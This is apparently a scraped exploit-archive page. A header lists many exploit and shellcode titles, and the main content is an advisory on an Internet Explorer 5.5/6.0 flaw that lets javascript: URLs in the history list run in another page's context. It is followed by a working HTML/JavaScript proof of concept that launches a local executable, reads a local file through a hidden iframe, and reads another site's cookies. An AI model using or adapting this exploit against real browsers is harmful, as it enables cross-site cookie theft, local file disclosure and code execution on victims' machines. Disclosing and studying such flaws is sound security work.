880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
47 lines
No EOL
2.3 KiB
HTML
47 lines
No EOL
2.3 KiB
HTML
source: https://www.securityfocus.com/bid/4505/info
|
|
|
|
A vulnerability has been reported in some versions of Internet Explorer. It is possible to inject JavaScript code into the browser history list, and execute it within any page context given appropriate user interaction.
|
|
|
|
Internet Explorer stores javascript: URLs in the browser history list. Script executed within the javascript: URL will inherit the security zone of the last viewed page. This provides protection against javascript: URLs included within a maliciously constructed web page. However, a user may navigate to a javascript: URL using the 'Back' button in their browser. This may result in the injected script code executing within the context of another page.
|
|
|
|
This behavior has been reported in versions 6.0 and 5.5 of IE. Other versions of Internet Explorer may share this vulnerability. This has not, however, been confirmed.
|
|
|
|
<html>
|
|
<h1>Press link and then the backbutton to trigger script.</h1>
|
|
<a href="javascript:execFile('file:///c:/winnt/system32/winmine.exe')">
|
|
Run Minesweeper (c:/winnt/system32/winmine.exe Win2000 pro)</a><br>
|
|
<a href="javascript:execFile('file:///c:/windows/system32/winmine.exe')">
|
|
Run Minesweeper (c:/windows/system32/winmine.exe XP, ME etc...)</a><br>
|
|
<a href="javascript:readFile('file:///c:/test.txt')">
|
|
Read c:\test.txt (needs to be created)</a><br>
|
|
<a href="javascript:readCookie('http://www.google.com/')">
|
|
Read Google cookie</a>
|
|
|
|
<script>
|
|
// badUrl = "http://www.nonexistingdomain.se"; // Use if not XP
|
|
badUrl = "res:";
|
|
function execFile(file){
|
|
s = '<object classid=CLSID:11111111-1111-1111-1111-111111111111 ';
|
|
s+= 'CODEBASE='+file+'></OBJECT>';
|
|
backBug(badUrl,s);
|
|
}
|
|
function readFile(file){
|
|
s = '<iframe name=i src='+file+' style=display:none onload=';
|
|
s+= 'alert(i.document.body.innerText)></iframe>';
|
|
backBug(badUrl,s);
|
|
}
|
|
function readCookie(url){
|
|
s = '<script>alert(document.cookie);close();<"+"/script>';
|
|
backBug(url,s);
|
|
}
|
|
function backBug(url,payload){
|
|
len = history.length;
|
|
page = document.location;
|
|
s = "javascript:if (history.length!="+len+") {";
|
|
s+= "open('javascript:document.write(\""+payload+"\")')";
|
|
s+= ";history.back();} else '<script>location=\""+url
|
|
s+= "\";document.title=\""+page+"\";<"+"/script>';";
|
|
location = s;
|
|
}
|
|
</script>
|
|
</html> |